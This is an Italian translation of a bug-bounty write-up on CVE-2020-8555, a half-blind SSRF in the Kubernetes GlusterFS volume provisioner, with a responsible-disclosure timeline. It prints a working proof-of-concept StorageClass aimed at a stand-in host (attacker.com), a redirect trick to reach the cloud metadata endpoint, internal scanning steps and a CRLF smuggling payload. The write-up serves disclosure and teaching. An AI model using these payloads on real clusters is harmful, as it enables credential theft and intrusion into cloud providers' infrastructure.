Quando non si tratta solo di vulnerabilità in Kubernetes…

Nota del traduttore.: gli autori di questo articolo spiegano in dettaglio come sono riusciti a scoprire una vulnerabilità CVE-2020–8555 in Kubernetes. Anche se inizialmente sembrava non essere molto pericolosa, in combinazione con altri fattori la sua criticità si è rivelata massima per alcuni fornitori di cloud. Gli esperti sono stati generosamente ricompensati da diverse organizzazioni per il lavoro svolto.

Quando non si tratta solo di vulnerabilità in Kubernetes…

Chi siamo

Siamo due ricercatori francesi nel campo della sicurezza che hanno scoperto una vulnerabilità in Kubernetes. Ci chiamiamo Brice Augras e Christophe Hauquiert, ma su molte piattaforme di Bug Bounty siamo conosciuti come Reeverzax e Hach rispettivamente:

Cosa è successo?

Questo articolo è il nostro modo di raccontare come un normale progetto di ricerca si sia inaspettatamente trasformato nella più entusiasmante avventura della vita per i cacciatori di bug (almeno fino ad ora).

Come probabilmente sapete, i cacciatori di bug hanno un paio di peculiarità:

  • vivono di pizze e birra;
  • lavorano quando tutti gli altri dormono.

Non facciamo eccezione a queste regole: di solito ci incontriamo nei fine settimana e passiamo notti insonni a hackerare. Ma una di queste notti è finita in modo piuttosto insolito.

Inizialmente avevamo programmato di incontrarci per discutere della partecipazione a CTF il giorno successivo. Durante la conversazione sulla sicurezza di Kubernetes in un ambiente di servizio gestito, abbiamo ricordato una vecchia idea di SSRF (Server-Side Request Forgery) e abbiamo deciso di provare a utilizzarla come scenario d'attacco.

Alle 11 di sera ci siamo messi a studiare, e siamo andati a letto di primo mattino, molto soddisfatti dei risultati. Proprio grazie a queste ricerche, ci siamo imbattuti nel programma MSRC Bug Bounty e abbiamo ideato un exploit con escalation dei privilegi.

Sono passate settimane/mesi, e il nostro risultato inaspettato ci ha permesso di ricevere uno dei premi più alti nella storia di Azure Cloud Bug Bounty — oltre a quello che abbiamo ricevuto da Kubernetes!

Ispirato al nostro progetto di ricerca, il comitato Kubernetes Product Security Committee ha pubblicato CVE-2020–8555.

Ora vorremmo diffondere il più possibile l'informazione sulla vulnerabilità trovata. Speriamo che apprezziate la scoperta e condividiate i dettagli tecnici con altri membri della comunità infosec!

Quindi, ecco la nostra storia...

Contesto

Per spiegare al meglio il significato di quanto accaduto, iniziamo a esaminare come Kubernetes opera in un ambiente cloud gestito.

Quando si crea un'istanza di cluster Kubernetes in un ambiente di questo tipo, la gestione del piano di controllo è generalmente affidata al fornitore di servizi cloud.

Quando non si tratta solo di vulnerabilità in Kubernetes…
Il piano di controllo è situato nel perimetro del fornitore cloud, mentre i nodi Kubernetes si trovano nel perimetro del cliente.

Per l'allocazione dinamica dei volumi viene utilizzato un meccanismo di provisioning dinamico da un backend di storage esterno, associato al PVC (persistent volume claim, ovvero richiesta di volume).

Pertanto, una volta che il PVC è stato creato e associato a uno StorageClass nel cluster K8s, il successivo provisioning del volume è gestito dal kube/cloud controller manager (il nome esatto varia a seconda del rilascio). (Nota del traduttore.: Abbiamo già scritto nei dettagli sul CCM prendendo come esempio la sua implementazione per uno dei fornitori cloud. qui.)

Esistono diverse tipologie di provisioner supportati da Kubernetes: la maggior parte è inclusa nel nucleo dell'orchestratore, mentre altri sono gestiti da provisioner aggiuntivi distribuiti nei pod all'interno del cluster.

Nella nostra ricerca ci siamo concentrati sul meccanismo interno di provisionamento dei volumi, come illustrato di seguito:

Quando non si tratta solo di vulnerabilità in Kubernetes…
Provisionamento dinamico dei volumi utilizzando il provisioner integrato di Kubernetes

In breve, quando Kubernetes viene distribuito in un ambiente gestito, le operazioni del controller manager sono responsabilità del fornitore di servizi cloud, ma la richiesta di creazione di un volume (numero 3 nello schema sopra) esce dai confini della rete interna del fornitore cloud. Ed è qui che la situazione diventa davvero interessante!

Scenario di compromissione

In questa sezione descriveremo come abbiamo sfruttato il workflow menzionato sopra per accedere alle risorse interne del fornitore di servizi cloud. Inoltre, verrà mostrato come eseguire determinate azioni, come ottenere credenziali interne o effettuare un'escussione dei privilegi.

Una semplice manovra (in questo caso si tratta di un Service Side Request Forgery) ha permesso di oltrepassare l'ambiente cliente nei cluster di vari fornitori di K8s gestiti.

Nelle nostre ricerche ci siamo concentrati sul provisioner GlusterFS. Anche se la sequenza successiva delle azioni viene descritta in questo contesto, questa vulnerabilità riguarda anche Quobyte, StorageOS e ScaleIO.

Quando non si tratta solo di vulnerabilità in Kubernetes…
Abuso del meccanismo di provisioning dinamico dei volumi

Durante l'analisi della classe di archiviazione GlusterFS nel codice sorgente del cliente in Golang abbiamo è stato notato, che alla prima richiesta HTTP (3), inviata durante la creazione del volume, al termine dell'URL utente nel parametro resturl riceve /volumes.

Per rimuovere questo percorso aggiuntivo abbiamo deciso di aggiungere # nel parametro resturl. Ecco la prima configurazione YAML che abbiamo utilizzato per testare la vulnerabilità SSRF "semi-blind" (per saperne di più su semi-blind o half-blind SSRF, puoi leggere, ad esempio, qui — nota di traduzione):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

In seguito, abbiamo utilizzato il binario per il controllo remoto del cluster Kubernetes. kubectlIn generale, i fornitori di cloud (Azure, Google, AWS, ecc.) offrono la possibilità di ottenere credenziali per il loro utilizzo in questo strumento.

Grazie a questo, siamo riusciti ad applicare il nostro file "speciale". Il kube-controller-manager ha eseguito la richiesta HTTP risultante:

kubectl create -f sc-poc.yaml

Quando non si tratta solo di vulnerabilità in Kubernetes…
Risposta dal punto di vista dell'attaccante

Poco dopo, siamo stati in grado di ricevere la risposta HTTP dal server di destinazione, tramite i comandi describe pvc o get events in kubectl. E in effetti, questo driver Kubernetes per impostazione predefinita è troppo verboso nei suoi avvisi/ messaggi di errore...

Ecco un esempio con un link a https://www.google.fr, impostato come parametro resturl:

kubectl describe pvc poc-ssrf
# oppure puoi utilizzare kubectl get events

Quando non si tratta solo di vulnerabilità in Kubernetes…

All'interno di questo approccio, eravamo limitati a richieste di tipo HTTP POST e non riuscivamo a ottenere il contenuto del corpo della risposta, se il codice di ritorno era 201. Pertanto, abbiamo deciso di fare ulteriori ricerche ed espandere questo scenario di hacking con nuovi approcci.

L'evoluzione delle nostre ricerche

  • Scenario avanzato n. 1: utilizzo del reindirizzamento 302 da un server esterno per modificare il metodo HTTP, per ottenere un modo più flessibile di raccogliere dati interni.
  • Scenario avanzato n. 2: automazione della scansione LAN e scoperta delle risorse interne.
  • Scenario avanzato n. 3: utilizzo di HTTP CRLF + smuggling per creare richieste HTTP personalizzate e ottenere dati estratti dai log del kube-controller.

Specifiche tecniche

  • Nella ricerca è stato utilizzato Azure Kubernetes Service (AKS) con Kubernetes versione 1.12 nella regione Europa del Nord.
  • Gli scenari descritti sopra sono stati eseguiti sulle ultime release di Kubernetes, ad eccezione del terzo scenario, poiché richiedeva Kubernetes compilato con Golang versione ≤ 1.12.
  • Server esterno dell'attaccante — https://attacker.com.

Scenario avanzato n. 1: reindirizzamento della richiesta HTTP da POST a GET per ottenere dati riservati

Il metodo originale è stato migliorato dalla configurazione del server dell'attaccante per il ritorno Codice di risposta HTTP 302, per convertire la richiesta POST in una richiesta GET (passo 4 nello schema):

Quando non si tratta solo di vulnerabilità in Kubernetes…

La prima richiesta (3), inviata dal client GlusterFS (Controller Manager), è di tipo POST. Eseguendo i seguenti passaggi, siamo riusciti a trasformarla in GET:

  • Come parametro resturl in StorageClass si specifica http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php restituisce il codice di stato 302 HTTP con il seguente Location Header: http://169.254.169.254. Questo può essere qualsiasi altra risorsa interna — in questo caso, il link di reindirizzamento viene utilizzato esclusivamente come esempio.
  • Di default la libreria net/http di Golang reindirizza la richiesta e converte il POST in GET con il codice di stato 302, provocando l'invio di una richiesta HTTP GET alla risorsa di destinazione.

Per leggere il corpo della risposta HTTP, è necessario fare describe dell'oggetto PVC:

kubectl describe pvc xxx

Ecco un esempio di risposta HTTP in formato JSON che siamo riusciti a ottenere:

Quando non si tratta solo di vulnerabilità in Kubernetes…

Le capacità della vulnerabilità trovata al momento erano limitate a causa dei seguenti motivi:

  • Impossibilità di inserire intestazioni HTTP nella richiesta in uscita.
  • Impossibilità di eseguire una richiesta POST con parametri nel corpo (è così comodo richiedere il valore della chiave da un'istanza etcd in esecuzione su 2379 la porta, se viene utilizzato HTTP non crittografato).
  • Impossibilità di ottenere il contenuto del corpo della risposta quando il codice di stato era 200 e la risposta non aveva il Content-Type JSON.

Scenario avanzato n. 2: scansione della rete locale

Questo metodo di SSRF half-blind è stato quindi utilizzato per eseguire la scansione della rete interna del fornitore di servizi cloud e per interrogare vari servizi in ascolto (come Metadata, Kubelet, etcd, ecc.) sulla base delle risposte. del kube controller.

Quando non si tratta solo di vulnerabilità in Kubernetes…

Inizialmente sono stati identificati le porte di ascolto standard dei componenti Kubernetes (8443, 10250, 10251, ecc.) e successivamente si è reso necessario automatizzare il processo di scansione.

Vedendo che questo metodo di scansione delle risorse è molto specifico e non compatibile con scanner classici e strumenti SSRF, abbiamo deciso di creare dei worker in uno script bash, che automatizzino tutto il processo.

Ad esempio, per scansionare più rapidamente l'intervallo 172.16.0.0/12 della rete interna, sono stati avviati 15 worker in parallelo. L'intervallo di IP sopra menzionato è stato scelto esclusivamente come esempio e può essere modificato in base all'intervallo di IP specifico del fornitore di servizi.

Per scansionare un singolo indirizzo IP e una porta, è necessario fare quanto segue:

  • rimuovere lo StorageClass verificato nell'ultima scansione;
  • rimuovere il precedente Persistent Volume Claim verificato;
  • modificare i valori di IP e Port in sc.yaml;
  • creare uno StorageClass con un nuovo IP e porta;
  • creare un nuovo PVC;
  • estrarre i risultati della scansione utilizzando describe per PVC.

Scenario avanzato n. 3: iniezione CRLF + smuggling HTTP nelle versioni "vecchie" del cluster Kubernetes

Se, in aggiunta, il fornitore offriva ai clienti versioni obsolete del cluster K8s e dandogli accesso ai log di kube-controller-manager, l'impatto diventava ancora più significativo.

Per un attaccante è realmente molto più facile modificare a proprio piacimento le richieste HTTP destinate a ottenere una risposta HTTP completa.

Quando non si tratta solo di vulnerabilità in Kubernetes…

Per implementare l'ultimo scenario, devono essere soddisfatte le seguenti condizioni:

  • L'utente deve avere accesso ai log di kube-controller-manager (come, ad esempio, in Azure LogInsights).
  • Il cluster Kubernetes deve utilizzare una versione di Golang inferiore a 1.12.

Abbiamo implementato un ambiente locale che simula lo scambio di dati tra un client Go GlusterFS e un server target fasullo (per ora ci asteniamo dalla pubblicazione del PoC).

È stata scoperta una vulnerabilità, che colpisce le versioni di Golang inferiori a 1.12 e consente agli hacker di eseguire attacchi di tipo HTTP smuggling/CRLF.

Combinando il half-blind SSRF descritto sopra insieme Con questo, siamo stati in grado di inviare richieste a nostro piacimento, inclusa la sostituzione di intestazioni, metodo HTTP, parametri e dati che kube-controller-manager elaborava successivamente.

Ecco un esempio di 'fishing' funzionante nel parametro resturl StorageClass che implementa questo tipo di scenario d'attacco:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Di conseguenza si verifica un errore risposta non richiesta, il cui messaggio è registrato nei log del controller. Grazie alla 'verbosità' abilitata per impostazione predefinita, anche il contenuto della risposta HTTP è memorizzato.

Quando non si tratta solo di vulnerabilità in Kubernetes…

Questo è stato il nostro 'fishing' più efficace nell'ambito del proof of concept.

Utilizzando questo approccio, siamo stati in grado di eseguire alcuni dei seguenti attacchi nei cluster di vari fornitori di managed k8s: escalation dei privilegi con ottenimento di credenziali su istanze metadata, DoS del master tramite richieste HTTP (non criptate) sulle istanze master etcd, e così via.

Conseguenze

Nella dichiarazione ufficiale di Kubernetes riguardo alla vulnerabilità SSRF che abbiamo scoperto, le è stato assegnato un punteggio CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Se consideriamo solo la vulnerabilità legata al perimetro di Kubernetes, il vettore di integrità (integrity vector) in essa si qualifica come Nessuno.

Tuttavia, la valutazione delle possibili conseguenze nel contesto di un ambiente di servizio gestito (e questa è stata la parte più interessante della nostra ricerca!) ci ha spinto a riclassificare la vulnerabilità con un punteggio Critico CVSS10/10 per molti fornitori.

Di seguito sono riportate ulteriori informazioni che possono aiutare a comprendere quali criteri abbiamo seguito nella valutazione delle possibili conseguenze negli ambienti cloud:

Integrità

  • Esecuzione remota di comandi utilizzando le credenziali interne acquisite.
  • Riproduzione dello scenario sopra descritto mediante il metodo IDOR (Insecure Direct Object Reference), ossia riferimenti diretti non sicuri agli oggetti, con altre risorse scoperte nella rete locale.

Riservatezza

  • Attacco di tipo Movimento Laterale grazie al furto di credenziali cloud (ad esempio, metadata API).
  • Raccolta di informazioni mediante scansione della rete locale (determinazione della versione SSH, versione del server HTTP, ...).
  • Raccolta di informazioni su istanze e infrastruttura interrogando API interne, come metadata API (http://169.254.169.254, …).
  • Furto dei dati dei clienti tramite credenziali cloud.

Disponibilità

Tutti gli scenari di sfruttamento legati ai vettori di attacco su integrity (integrità), possono essere utilizzati per azioni distruttive e portare a un'impossibilità di accesso agli master instance dal perimetro del cliente (o da qualsiasi altro).

Poiché eravamo in un ambiente gestito K8s e valutavamo l'impatto sull'integrità, si possono immaginare numerosi scenari in grado di influire sulla disponibilità. Come ulteriori esempi, possiamo citare la corruzione del database etcd o l'esecuzione di una chiamata critica all'API Kubernetes.

Cronologia

  • 6 dicembre 2019: invio di un messaggio riguardo a una vulnerabilità scoperta al programma Bug Bounty MSRC.
  • 3 gennaio 2020: una terza parte ha informato gli sviluppatori di Kubernetes che stavamo lavorando sul problema di sicurezza. E li ha invitati a considerare SSRF come vulnerabilità interna (in-core). Successivamente, abbiamo presentato un report complessivo con i dettagli tecnici sulla sorgente del problema.
  • 15 gennaio 2020: abbiamo fornito agli sviluppatori di Kubernetes rapporti tecnici e generali su loro richiesta (attraverso la piattaforma HackerOne).
  • 15 gennaio 2020: gli sviluppatori di Kubernetes ci hanno informato che la vulnerabilità half-blind SSRF + iniezione CRLF per le versioni precedenti è considerata una vulnerabilità in-core. Abbiamo immediatamente interrotto l'analisi dei perimetri di altri fornitori di servizi: ora la causa principale è stata presa in carico dal team K8s.
  • 15 gennaio 2020: ricevuto un premio da MSRC tramite HackerOne.
  • 16 gennaio 2020: il Kubernetes PSC (Product Security Committee) ha riconosciuto la vulnerabilità e ha chiesto di tenerla segreta fino a metà marzo a causa del gran numero di potenziali vittime.
  • 11 febbraio 2020: ricevuto un premio da Google VRP.
  • 4 marzo 2020: ricevuto un premio da Kubernetes tramite HackerOne.
  • 15 marzo 2020: la divulgazione pubblica originariamente programmata è stata rinviata a causa della situazione COVID-19.
  • 1 giugno 2020: dichiarazione congiunta di Kubernetes + Microsoft sulla vulnerabilità.

TL;DR

  • Beviamo birra e mangiamo pizza 🙂
  • Abbiamo scoperto una vulnerabilità in-core in Kubernetes, anche se non volevamo farlo.
  • Abbiamo effettuato un'analisi aggiuntiva nei cluster di vari fornitori di cloud e siamo riusciti ad aumentare il danno causato dalla vulnerabilità per ottenere ulteriori fantastici bonus.
  • In questo articolo troverai molti dettagli tecnici. Siamo felici di discuterne con te (Twitter: @ReeverZax & @__hach_).
  • Si è scoperto che tutte le formalità e la redazione dei report richiedono molto più tempo del previsto.

Link

P.S. dal traduttore

Leggete anche nel nostro blog:

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, server VPS VDS 🔥 Acquista hosting affidabile per siti web con protezione DDoS, server VPS VDS | ProHoster